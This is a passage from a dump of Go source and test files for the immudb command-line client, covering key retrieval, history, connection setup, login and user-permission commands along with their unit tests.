func(ctx context.Context, key []byte) (*schema.StructuredItem, error) { return nil, errors.New("NotFound") } resp, err = ic.GetKey([]string{"key1"}) require.NoError(t, err) require.Equal(t, "key not found: key1 ", resp) immuClientMock.GetF = func(ctx context.Context, key []byte) (*schema.StructuredItem, error) { return nil, status.New(codes.Internal, "Get RPC error").Err() } resp, err = ic.GetKey([]string{"key1"}) require.NoError(t, err) require.Equal(t, " Get RPC error", resp) errGet := errors.New("Get error") immuClientMock.GetF = func(ctx context.Context, key []byte) (*schema.StructuredItem, error) { return nil, errGet } _, err = ic.GetKey([]string{"key1"}) require.ErrorIs(t, err, errGet) // RawSafeGetKey immuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { return nil, errors.New("NotFound") } resp, err = ic.RawSafeGetKey([]string{"key1"}) require.NoError(t, err) require.Equal(t, "key not found: key1 ", resp) immuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { return nil, status.New(codes.Internal, "RawSafeGet RPC error").Err() } resp, err = ic.RawSafeGetKey([]string{"key1"}) require.NoError(t, err) require.Equal(t, " RawSafeGet RPC error", resp) errRawSafeGet := errors.New("RawSafeGet error") immuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { return nil, errRawSafeGet } _, err = ic.RawSafeGetKey([]string{"key1"}) require.ErrorIs(t, err, errRawSafeGet) // SafeGetKey immuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { return nil, errors.New("NotFound") } resp, err = ic.SafeGetKey([]string{"key1"}) require.NoError(t, err) require.Equal(t, "key not found: key1 ", resp) immuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { return nil, status.New(codes.Internal, "SafeGet RPC error").Err() } resp, err = ic.SafeGetKey([]string{"key1"}) require.NoError(t, err) require.Equal(t, " SafeGet RPC error", resp) errSafeGet := errors.New("SafeGet error") immuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { return nil, errSafeGet } _, err = ic.SafeGetKey([]string{"key1"}) require.ErrorIs(t, err, errSafeGet) // GetRawBySafeIndex _, err = ic.GetRawBySafeIndex([]string{"X"}) require.Error(t, err) errRawBySafeIndex := errors.New("RawBySafeIndex error") immuClientMock.RawBySafeIndexF = func(context.Context, uint64) (*client.VerifiedItem, error) { return nil, errRawBySafeIndex } _, err = ic.GetRawBySafeIndex([]string{"0"}) require.ErrorIs(t, err, errRawBySafeIndex) } */ ================================================ FILE: cmd/immuclient/immuc/getcommands_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" "github.com/stretchr/testify/require" ) func TestGetTxByID(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.VerifiedSet([]string{"key", "val"}) require.NoError(t, err) msg, err := ic.Imc.GetTxByID([]string{"1"}) require.NoError(t, err, "GetByIndex fail") require.Contains(t, msg, "hash", "GetByIndex failed") } func TestGet(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.Set([]string{"key", "val"}) require.NoError(t, err) msg, err := ic.Imc.Get([]string{"key"}) require.NoError(t, err, "GetKey fail") require.Contains(t, msg, "value", "GetKey failed") } func TestVerifiedGet(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.Set([]string{"key", "val"}) require.NoError(t, err) msg, err := ic.Imc.VerifiedGet([]string{"key"}) require.NoError(t, err, "VerifiedGet fail") require.Contains(t, msg, "value", "VerifiedGet failed") } func TestGetByRevision(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.Set([]string{"key", "value1"}) require.NoError(t, err) _, err = ic.Imc.Set([]string{"key", "value2"}) require.NoError(t, err) _, err = ic.Imc.Set([]string{"key", "value3"}) require.NoError(t, err) msg, err := ic.Imc.Get([]string{"key@1"}) require.NoError(t, err) require.Contains(t, msg, "value1") msg, err = ic.Imc.Get([]string{"key@2"}) require.NoError(t, err) require.Contains(t, msg, "value2") msg, err = ic.Imc.Get([]string{"key@3"}) require.NoError(t, err) require.Contains(t, msg, "value3") msg, err = ic.Imc.Get([]string{"key@0"}) require.NoError(t, err) require.Contains(t, msg, "value3") msg, err = ic.Imc.Get([]string{"key@-0"}) require.NoError(t, err) require.Contains(t, msg, "value3") msg, err = ic.Imc.Get([]string{"key@-1"}) require.NoError(t, err) require.Contains(t, msg, "value2") msg, err = ic.Imc.Get([]string{"key@-2"}) require.NoError(t, err) require.Contains(t, msg, "value1") _, err = ic.Imc.Get([]string{"key@notarevision"}) require.Error(t, err) } ================================================ FILE: cmd/immuclient/immuc/history.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "context" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" ) func (i *immuc) History(args []string) (string, error) { key := []byte(args[0]) ctx := context.Background() response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.History(ctx, &schema.HistoryRequest{ Key: key, }) }) if err != nil { rpcerrors := strings.SplitAfter(err.Error(), "=") if len(rpcerrors) > 1 { return rpcerrors[len(rpcerrors)-1], nil } return "", err } str := strings.Builder{} entries := response.(*schema.Entries) if len(entries.Entries) == 0 { str.WriteString("No item found \n") return str.String(), nil } for j, entry := range entries.Entries { if j > 0 { str.WriteString("\n") } str.WriteString(PrintKV(entry, false, false)) } return str.String(), nil } ================================================ FILE: cmd/immuclient/immuc/history_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" "github.com/stretchr/testify/require" ) func TestHistory(t *testing.T) { ic := setupTest(t) msg, err := ic.Imc.History([]string{"key"}) require.NoError(t, err, "History fail") require.Contains(t, msg, "key not found", "History fail") _, err = ic.Imc.Set([]string{"key", "value"}) require.NoError(t, err, "History fail") msg, err = ic.Imc.History([]string{"key"}) require.NoError(t, err, "History fail") require.Contains(t, msg, "value", "History fail") } ================================================ FILE: cmd/immuclient/immuc/init.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "errors" "fmt" "strings" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/spf13/viper" "google.golang.org/grpc/status" ) type immuc struct { ImmuClient client.ImmuClient options *Options isLoggedin bool } // Client ... type Client interface { Connect(args []string) error Disconnect(args []string) error Execute(f func(immuClient client.ImmuClient) (interface{}, error)) (interface{}, error) ServerInfo(args []string) (string, error) HealthCheck(args []string) (string, error) DatabaseHealth(args []string) (string, error) CurrentState(args []string) (string, error) GetTxByID(args []string) (string, error) VerifiedGetTxByID(args []string) (string, error) Get(args []string) (string, error) VerifiedGet(args []string) (string, error) Login(args []string) (string, error) Logout(args []string) (string, error) History(args []string) (string, error) SetReference(args []string) (string, error) VerifiedSetReference(args []string) (string, error) ZScan(args []string) (string, error) Scan(args []string) (string, error) Count(args []string) (string, error) Set(args []string) (string, error) Restore(args []string) (string, error) VerifiedSet(args []string) (string, error) DeleteKey(args []string) (string, error) ZAdd(args []string) (string, error) VerifiedZAdd(args []string) (string, error) CreateDatabase(args []string) (string, error) DatabaseList(args []string) (string, error) UseDatabase(args []string) (string, error) UserCreate(args []string) (string, error) SetActiveUser(args []string, active bool) (string, error) SetUserPermission(args []string) (string, error) UserList(args []string) (string, error) ChangeUserPassword(args []string) (string, error) ValueOnly() bool // TODO: ? SetValueOnly(v bool) // TODO: ? SQLExec(args []string) (string, error) SQLQuery(args []string) (string, error) ListTables() (string, error) DescribeTable(args []string) (string, error) WithFileTokenService(tkns tokenservice.TokenService) Client } // Init ... func Init(opts *Options) (*immuc, error) { ic := new(immuc) ic.options = opts return ic, nil } func (i *immuc) Connect(args []string) (err error) { if i.ImmuClient, err = client.NewImmuClient(i.options.immudbClientOptions); err != nil { return err } i.WithFileTokenService(tokenservice.NewFileTokenService()) i.options.immudbClientOptions.Auth = true return nil } func (i *immuc) Disconnect(args []string) error { if err := i.ImmuClient.Disconnect(); err != nil { return err } return nil } func (i *immuc) Execute(f func(immuClient client.ImmuClient) (interface{}, error)) (interface{}, error) { r, err := f(i.ImmuClient) if err == nil { return r, nil } needsLogin := strings.Contains(err.Error(), "token has expired") || strings.Contains(err.Error(), "not logged in") || strings.Contains(err.Error(), "please select a database first") if !needsLogin || len(i.ImmuClient.GetOptions().Username) == 0 || len(i.ImmuClient.GetOptions().Password) == 0 { return nil, err } _, err = i.Login(nil) if err != nil { return nil, fmt.Errorf("error during automatic (re)login: %v", err) } if len(i.options.immudbClientOptions.Database) > 0 { if _, err := i.UseDatabase(nil); err != nil { gRPCStatus, ok := status.FromError(err) if ok { err = errors.New(gRPCStatus.Message()) } return nil, fmt.Errorf( "error using database %s after automatic (re)login: %v", i.options.immudbClientOptions.Database, err) } } return f(i.ImmuClient) } func (i *immuc) ValueOnly() bool { return i.options.valueOnly } func (i *immuc) SetValueOnly(v bool) { i.options.WithValueOnly(v) } func (i *immuc) WithFileTokenService(tkns tokenservice.TokenService) Client { if i.ImmuClient != nil { i.ImmuClient.WithTokenService(tkns) } return i } func OptionsFromEnv() *Options { password, _ := auth.DecodeBase64Password(viper.GetString("password")) immudbOptions := client.DefaultOptions(). WithPort(viper.GetInt("immudb-port")). WithAddress(viper.GetString("immudb-address")). WithUsername(viper.GetString("username")). WithPassword(password). WithDatabase(viper.GetString("database")). WithTokenFileName(viper.GetString("tokenfile")). WithMTLs(viper.GetBool("mtls")). WithServerSigningPubKey(viper.GetString("server-signing-pub-key")) if viper.GetBool("mtls") { // todo https://golang.org/src/crypto/x509/root_linux.go immudbOptions.WithMTLsOptions( client.DefaultMTLsOptions(). WithServername(viper.GetString("servername")). WithCertificate(viper.GetString("certificate")). WithPkey(viper.GetString("pkey")). WithClientCAs(viper.GetString("clientcas")), ) } opts := (&Options{}). WithImmudbClientOptions(immudbOptions). WithValueOnly(viper.GetBool("value-only")). WithRevisionSeparator(viper.GetString("revision-separator")) return opts } ================================================ FILE: cmd/immuclient/immuc/init_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "testing" "github.com/spf13/viper" "github.com/stretchr/testify/require" ) func TestInitErrors(t *testing.T) { defer viper.Reset() ic := immuc{ options: &Options{}, } viper.Set("mtls", true) OptionsFromEnv() viper.Set("mtls", false) ic.SetValueOnly(true) require.True(t, ic.ValueOnly()) } ================================================ FILE: cmd/immuclient/immuc/init_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/stretchr/testify/require" . "github.com/codenotary/immudb/cmd/immuclient/immuc" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) func TestConnect(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() opts := OptionsFromEnv() opts.GetImmudbClientOptions(). WithDialOptions([]grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }).WithDir(t.TempDir()) imc, err := Init(opts) require.NoError(t, err) err = imc.Connect([]string{""}) require.NoError(t, err) imc.WithFileTokenService(tokenservice.NewInmemoryTokenService()) } ================================================ FILE: cmd/immuclient/immuc/login.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc import ( "bytes" "context" "errors" "fmt" "strings" "google.golang.org/grpc/status" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" ) func (i *immuc) Login(args []string) (string, error) { var user []byte if len(args) >= 1 { user = []byte(args[0]) } else if len(i.options.immudbClientOptions.Username) > 0 { user = []byte(i.options.immudbClientOptions.Username) } else { return "", errors.New("please specify a username") } var pass []byte var err error if len(i.options.immudbClientOptions.Password) == 0 { pass, err = i.options.immudbClientOptions.PasswordReader.Read("Password:") if err != nil { return "", err } } else { pass = []byte(i.options.immudbClientOptions.Password) } ctx := context.Background() response, err := i.ImmuClient.Login(ctx, user, pass) if err != nil { if strings.Contains(err.Error(), "authentication disabled") { return "", errors.New("authentication is disabled on server") } return "", err } i.isLoggedin = true successMsg := "Successfully logged in\n" if len(response.Warning) != 0 { successMsg += string(response.Warning) } return successMsg, nil } func (i *immuc) Logout(args []string) (string, error) { var err error i.isLoggedin = false err = i.ImmuClient.Logout(context.Background()) st, ok := status.FromError(err) if ok && st.Message() == "not logged in" { return "User not logged in", nil } if err != nil { return "", err } return "Successfully logged out", nil } func (i *immuc) UserCreate(args []string) (string, error) { if len(args) < 3 { return "incorrect number of parameters for this command. Please type 'user help' for more information", nil } username := args[0] permission := args[1] databasename := args[2] pass, err := i.options.immudbClientOptions.PasswordReader.Read(fmt.Sprintf("Choose a password for %s:", username)) if err != nil { return "Error Reading Password", nil } if err = auth.IsStrongPassword(string(pass)); err != nil { return "password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol", nil } pass2, err := i.options.immudbClientOptions.PasswordReader.Read("Confirm password:") if err != nil { return "Error Reading Password", nil } if !bytes.Equal(pass, pass2) { return "Passwords don't match", nil } var userpermission uint32 switch permission { case "read": userpermission = auth.PermissionR case "admin": userpermission = auth.PermissionAdmin case "readwrite": userpermission = auth.PermissionRW default: return "permission value not recognized. Allowed permissions are read, readwrite, admin", nil } _, err = i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return nil, immuClient.CreateUser( context.Background(), []byte(username), pass, userpermission, databasename) }) if err != nil { return "", err } return fmt.Sprintf("Created user %s", username), nil } func (i *immuc) UserList(args []string) (string, error) { response, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return immuClient.ListUsers(context.Background()) }) if err != nil { return "", err } userList := response.(*schema.UserList) ris := "\n" ris += "User\tActive\tCreated By\tCreated At\t\t\t\t\tDatabase\tPermission" for _, val := range userList.Users { ris += fmt.Sprintf("%s\t%v\t%s\t\t%s\n", string(val.User), val.Active, val.Createdby, val.Createdat) for _, val := range val.Permissions { ris += fmt.Sprintf("\t\t\t\t\t\t\t\t\t\t%s\t\t", val.Database) switch val.Permission { case auth.PermissionAdmin: ris += "Admin\n" case auth.PermissionSysAdmin: ris += "System Admin\n" case auth.PermissionR: ris += "Read\n" case auth.PermissionRW: ris += "Read/Write\n" default: return "permission value not recognized. Allowed permissions are read, write, admin", nil } } ris += "\n" } return ris, nil } func (i *immuc) ChangeUserPassword(args []string) (string, error) { if len(args) < 1 { return "", fmt.Errorf("ERROR: Not enough arguments. Use [command] --help for documentation ") } username := args[0] var oldpass []byte var err error if username == auth.SysAdminUsername { oldpass, err = i.options.immudbClientOptions.PasswordReader.Read("Old password:") if err != nil { return "Error Reading Password", nil } } newpass, err := i.options.immudbClientOptions.PasswordReader.Read(fmt.Sprintf("Choose a password for %s:", username)) if err != nil { return "Error Reading Password", nil } if err = auth.IsStrongPassword(string(newpass)); err != nil { return "password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol", nil } pass2, err := i.options.immudbClientOptions.PasswordReader.Read("Confirm password:") if err != nil { return "Error Reading Password", nil } if !bytes.Equal(newpass, pass2) { return "Passwords don't match", nil } if _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return nil, immuClient.ChangePassword( context.Background(), []byte(username), oldpass, []byte(newpass)) }); err != nil { return "", err } return fmt.Sprintf("Password of %s was successfully changed", username), nil } func (i *immuc) SetActiveUser(args []string, active bool) (string, error) { if len(args) < 1 { return "incorrect number of parameters for this command. Please type 'user help' for more information", nil } username := args[0] if _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return nil, immuClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{ Active: active, Username: username, }) }); err != nil { return "", err } return "user status changed successfully", nil } func (i *immuc) SetUserPermission(args []string) (string, error) { if len(args) != 4 { return "incorrect number of parameters for this command. Please type 'user help' for more information", nil } var permissionAction schema.PermissionAction switch args[0] { case "grant": permissionAction = schema.PermissionAction_GRANT case "revoke": permissionAction = schema.PermissionAction_REVOKE default: return "wrong permission action. Only grant or revoke are allowed", nil } username := args[1] var userpermission uint32 switch args[2] { case "read": userpermission = auth.PermissionR case "admin": userpermission = auth.PermissionAdmin case "readwrite": userpermission = auth.PermissionRW default: return "permission value not recognized. Allowed permissions are read, readwrite, admin", nil } dbname := args[3] if _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) { return nil, immuClient.ChangePermission( context.Background(), permissionAction, username, dbname, userpermission) }); err != nil { return "", err } return "permission changed successfully", nil } ================================================ FILE: cmd/immuclient/immuc/login_errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc /* import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/stretchr/testify/require" ) func TestLoginAndUserCommandsErrors(t *testing.T) { immuClientMock := &clienttest.ImmuClientMock{} passwordReaderMock := &clienttest.PasswordReaderMock{} homedirServiceMock := clienttest.DefaultHomedirServiceMock() ic := new(immuc) ic.ImmuClient = immuClientMock ic.passwordReader = passwordReaderMock ic.ts = tokenservice.NewTokenService().WithHds(homedirServiceMock) // Login errors passwordReadErr := errors.New("Password read error") passwordReaderMock.ReadF = func(msg string) ([]byte, error) { return nil, passwordReadErr } args := []string{"user1"} _, err := ic.Login(args) require.Equal(t, passwordReadErr, err) passwordReaderMock.ReadF = func(msg string) ([]byte, error) { return []byte("pass1"), nil } immuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return nil, errors.New("authentication is disabled on server") } resp, err := ic.Login(args) require.NoError(t, err) require.Equal(t, "authentication is disabled on server", resp) immuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: "token1"}, nil } immuClientMock.GetOptionsF = func() *client.Options { return &client.Options{TokenFileName: "TestLoginErrors_token"} } errWriteFileToHomeDir := errors.New("write file to home dir error") homedirServiceMock.WriteFileToUserHomeDirF = func([]byte, string) error { return errWriteFileToHomeDir } _, err = ic.Login(args) require.ErrorIs(t, err, errWriteFileToHomeDir) homedirServiceMock.WriteFileToUserHomeDirF = func([]byte, string) error { return nil } // Logout errors errReadFileFromHomeDir := errors.New("read file from home dir error") homedirServiceMock.ReadFileFromUserHomeDirF = func(string) (string, error) { return "", errReadFileFromHomeDir } resp, err = ic.Logout(nil) require.NoError(t, err) require.Equal(t, "User not logged in.", resp) homedirServiceMock.ReadFileFromUserHomeDirF = func(string) (string, error) { return string(client.BuildToken("", "token1")), nil } errDeleteFileFromHomeDir := errors.New("delete file from home dir error") homedirServiceMock.DeleteFileFromUserHomeDirF = func(string) error { return errDeleteFileFromHomeDir } homedirServiceMock.FileExistsInUserHomeDirF = func(string) (bool, error) { return true, nil } _, err = ic.Logout(nil) require.ErrorIs(t, err, errDeleteFileFromHomeDir) // UserCreate errors resp, err = ic.UserCreate(nil) require.NoError(t, err) require.Equal(t, "incorrect number of parameters for this command. Please type 'user help' for more information", resp) args = []string{"user1", "readwrite", "db1"} passwordReaderMock.ReadF = func(msg string) ([]byte, error) { return nil, passwordReadErr } resp, err = ic.UserCreate(args) require.NoError(t, err) require.Equal(t, "Error Reading Password", resp) passwordReaderMock.ReadF = func(msg string) ([]byte, error) { return []byte("pass1"), nil } resp, err = ic.UserCreate(args) require.NoError(t, err) require.Equal( t, "password does not meet the requirements. It must contain upper and lower "+ "case letters, digits, punctuation mark or symbol", resp) passwordReadCounter := 0 passwordReaderMock.ReadF = func(msg string) ([]byte, error) { passwordReadCounter++ if passwordReadCounter == 1 { return []byte("$omePass1"), nil } return nil, passwordReadErr } resp, err = ic.UserCreate(args) require.NoError(t, err) require.Equal(t, "Error Reading Password", resp) passwordReadCounter = 0 passwordReaderMock.ReadF = func(msg string) ([]byte, error) { passwordReadCounter++ if passwordReadCounter == 1 { return []byte("$omePass1"), nil } return []byte("$omePass2"), nil } resp, err = ic.UserCreate(args) require.NoError(t, err) require.Equal(t, "Passwords don't match", resp) // UserList errors errListUsers := errors.New("list users error") immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return nil, errListUsers } _, err = ic.UserList(nil) require.ErrorIs(t, err, errListUsers) userList := &schema.UserList{ Users: []*schema.User{ &schema.User{ User: []byte("user1"), Permissions: []*schema.Permission{ &schema.Permission{ Database: "db1", Permission: auth.PermissionAdmin, }, &schema.Permission{ Database: "db2", Permission: auth.PermissionSysAdmin, }, &schema.Permission{ Database: "db3", Permission: auth.PermissionR, }, &schema.Permission{ Database: "db4", Permission: auth.PermissionRW, }, &schema.Permission{ Database: "db5", Permission: auth.PermissionNone, }, }, Createdby: "admin", Createdat: "2020-07-29", Active: true, }, }, } immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return userList, nil } resp, err = ic.UserList(nil) require.NoError(t, err) require.Equal(t, "permission value not recognized. Allowed permissions are read, write, admin", resp) userList.Users[0].Permissions = userList.Users[0].Permissions[0:4] resp, err = ic.UserList(nil) require.NoError(t, err) require.Contains(t, resp, "user1") require.Contains(t, resp, "db1") require.Contains(t, resp, "db2") require.Contains(t, resp, "db3") require.Contains(t, resp, "db4") // ChangeUserPassword errors _, err = ic.ChangeUserPassword(nil) require.EqualError(t, err, "ERROR: Not enough arguments. Use [command] --help for documentation ") args = []string{auth.SysAdminUsername} passwordReaderMock.ReadF = func(msg string) ([]byte, error) { return nil, passwordReadErr } resp, err = ic.ChangeUserPassword(args) require.NoError(t, err) require.Equal(t, "Error Reading Password", resp) passwordReadCounter = 0 passwordReaderMock.ReadF = func(msg string) ([]byte, error) { passwordReadCounter++ if passwordReadCounter == 1 { return []byte("pass1"), nil } return nil, passwordReadErr } resp, err = ic.ChangeUserPassword(args) require.NoError(t, err) require.Equal(t, "Error Reading Password", resp) passwordReaderMock.ReadF = func(msg string) ([]byte, error) { return []byte("pass1"), nil } resp, err = ic.ChangeUserPassword(args) require.NoError(t, err) require.Equal( t, "password does not meet the requirements. It must contain upper and lower "+ "case letters, digits, punctuation mark or symbol", resp) passwordReadCounter = 0 passwordReaderMock.ReadF = func(msg string) ([]byte, error) { passwordReadCounter++ if passwordReadCounter < 3 { return []byte("$omePass1"), nil } return nil, passwordReadErr } resp, err = ic.ChangeUserPassword(args) require.NoError(t, err) require.Equal(t, "Error Reading Password", resp) passwordReadCounter = 0 passwordReaderMock.ReadF = func(msg string) ([]byte, error) { passwordReadCounter++ if passwordReadCounter < 3 { return []byte("$omePass1"), nil } return []byte("$omePass2"), nil } resp, err = ic.ChangeUserPassword(args) require.NoError(t, err) require.Equal(t, "Passwords don't match", resp) // SetActiveUser errors resp, err = ic.SetActiveUser(nil, true) require.NoError(t, err) require.Equal( t, "incorrect number of parameters for this command. Please type 'user help' for more information", resp) errSetActiveUser := errors.New("set active user error") immuClientMock.SetActiveUserF = func(context.Context, *schema.SetActiveUserRequest) error { return errSetActiveUser } _, err = ic.SetActiveUser([]string{"user1"}, true) require.ErrorIs(t, err, errSetActiveUser) // SetUserPermission errors resp, err = ic.SetUserPermission(nil) require.NoError(t, err) require.Equal( t, "incorrect number of parameters for this command. Please type 'user help' for more information", resp) args = []string{"default", "user1", "readwrite", "db1"} resp, err = ic.SetUserPermission(args) require.NoError(t, err) require.Equal(t, "wrong permission action. Only grant or revoke are allowed", resp) args[0] = "revoke" args[2] = "default" resp, err = ic.SetUserPermission(args) require.NoError(t, err) require.Equal(t, "permission value not recognized. Allowed permissions are read, readwrite, admin", resp) args[2] = "readwrite" errChangePermission := errors.New("change permission error") immuClientMock.ChangePermissionF = func(context.Context, schema.PermissionAction, string, string, uint32) error { return errChangePermission } _, err = ic.SetUserPermission(args) require.ErrorIs(t, err, errChangePermission) } */ ================================================ FILE: cmd/immuclient/immuc/login_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuc_test import ( "testing" . "github.com/codenotary/immudb/cmd/immuclient/immuc" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) func TestLogin(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() opts := OptionsFromEnv() opts.GetImmudbClientOptions(). WithDialOptions([]grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }). WithPasswordReader(&test.PasswordReader{ Pass: []string{"immudb"}, }). WithDir(t.TempDir()) imc, err := Init(opts) require.NoError(t, err) err = imc.Connect([]string{""}) require.NoError(t, err) imc.WithFileTokenService(tokenservice.NewInmemoryTokenService()) msg, err := imc.Login([]string{"immudb"}) require.NoError(t, err) require.Contains(t, msg, "Successfully logged in", "Login error") } func TestLogout(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() opts := OptionsFromEnv() opts.GetImmudbClientOptions(). WithDialOptions([]grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), }). WithPasswordReader(&test.PasswordReader{ Pass: []string{"immudb"}, }). WithDir(t.TempDir()) imc, err := Init(opts) require.NoError(t, err) err = imc.Connect([]string{""}) require.NoError(t, err) imc.WithFileTokenService(tokenservice.NewInmemoryTokenService()) _, err = imc.Logout([]string{""}) require.NoError(t, err) } func TestUserList(t *testing.T) { ic := setupTest(t) _, err := ic.Imc.UserList([]string{""}) require.NoError(t, err, "Userlist fail") } func TestUserCreate(t *testing.T) { icMain := setupTest(t) var userCreateTests = []struct { name string args []string password string expected string test func(*testing.T, string, []string, string) }{ { "Create user", []string{"myuser", "readwrite", "defaultdb"}, "MyUser@9", "Created user", func(t *testing.T, password string, args []string, exp string) { ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{password, password}, }, icMain.Ts, icMain.Options.GetImmudbClientOptions()) ic.Connect(icMain.Dialer) msg, err := ic.Imc.UserCreate(args) require.NoError(t, err, "TestUserCreate fail") require.Contains(t, msg, exp, "TestUserCreate failed to create user") }, }, { "Create user read", []string{"myuserRead", "read", "defaultdb"}, "MyUser@9", "Created user", func(t *testing.T, password string, args []string, exp string) { ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{password, password}, }, 